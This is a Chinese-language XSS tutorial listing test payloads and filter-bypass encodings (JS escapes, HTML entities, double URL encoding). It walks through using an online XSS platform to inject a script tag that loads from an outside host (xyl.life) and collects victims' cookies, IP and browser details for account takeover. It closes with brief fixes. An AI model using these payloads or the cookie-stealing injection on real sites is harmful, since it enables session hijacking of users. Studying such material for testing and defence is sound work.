XSS常用語句及編碼繞過
XSS常用的測試語句有:
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
常見的XSS的繞過編碼有JS編碼、HTML實體編碼和URL編碼
JS編碼
JS提供了四種字符編碼的策略,如下所示。
- 三個八進制數字,如果個數不夠,在前面補0,例如“e” 的編碼為“\145” ;
- 兩個十六進制數字,如果個數不夠,在前面補0,例如"e" 的編碼為"\x65" ;
- 四個十六進制數字,如果個數不夠,在前面補0,例如"e" 的編碼為“\u0065”;
- 對於一些控制字符,使用特殊的C類型的轉義風格(例如和\r) 。
HTML實體編碼
- 命名實體:以&開頭,以分號結尾的,例如"<"的編碼是"<" 。
- 字符編碼:十進制、十六進制ASCII碼或Unicode字符編碼,樣式為"&#數值;",例如"<" 可以編碼為 "<" 和"<"
URL編碼
這里的URL編碼,也是兩次URL全編碼的結果。如果alert被過濾,結果為%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34。
在使用XSS編碼測試時,需要考慮HTML渲染的順序,特別是針對多種編碼組合時,要選擇合適的編碼方式進行測試。
使用XSS平台測試XSS漏洞
XSS在線平台
首先在XSS平台注冊賬並登錄,單擊"我的項目”中的“創建” 按鈕,頁面中的名稱和描述是分類的,隨意填寫即可。
勾選“默認模塊”選項后單擊"下一步”按鈕。這里不要太多模塊都勾選,非常非常容易導致JS報錯,如果報錯,那么可能你就收不到對方的中招信息了。盡量只勾選一個或兩個。這里說明一下,注意上方的紅框,這里最好是復制上方第一個紅色方框中的內容,例如:<sCRiPt sRC=//xyl.life/xxxx></sCrIpT>
這個就是項目給你的代碼,這里說一下你需要測試的網站是https的網站且你的XSS平台也支持https那么你可以把這個代碼改成 <sCRiPt sRC=https://xyl.life/xxxx></sCrIpT>
這樣。
這里還要說明一下,其實<sCRiPt sRC=//xyl.life/xxxx></sCrIpT>
當網站前面是//的時候,代碼會自動適配網站,如果對方網站是https的那么代碼會自動從https加載,如果對方網站是http的那么代碼會從http加載。所以,默認的這種方式是最好的插入方式。頁面上顯示了多種利用代碼,在實際情況中, 一般會根據HTML源碼選擇合適的利用代碼,以此構造瀏覽器能夠執行的代碼,這里選擇第二種利用代碼。
將利用代碼插入到存在XSS漏洞的URL后,檢查瀏覽器緩存加載文件。發現瀏覽器成功執行XSS的利用代碼
然后如果對方中招了,那么你的XSS平台就會有收到對方的信息。
回到XSS平台,可以看到我們已經獲取了信息,其中包含來源地址、cookie、IP、 瀏覽器等,如果用戶處於登錄狀態,可修改cookie並進入該用戶的賬戶。
XSS漏洞修復建議
因為XSS漏洞涉及輸入和輸出兩部分,所以其修復也分為兩種。
- 過濾輸入的數據,包括 '、"、<、>、on* 等非法字符。
- 對輸出到頁面的數據進行相應的編碼轉換,包括HTML實體編碼、JavaScript編碼等。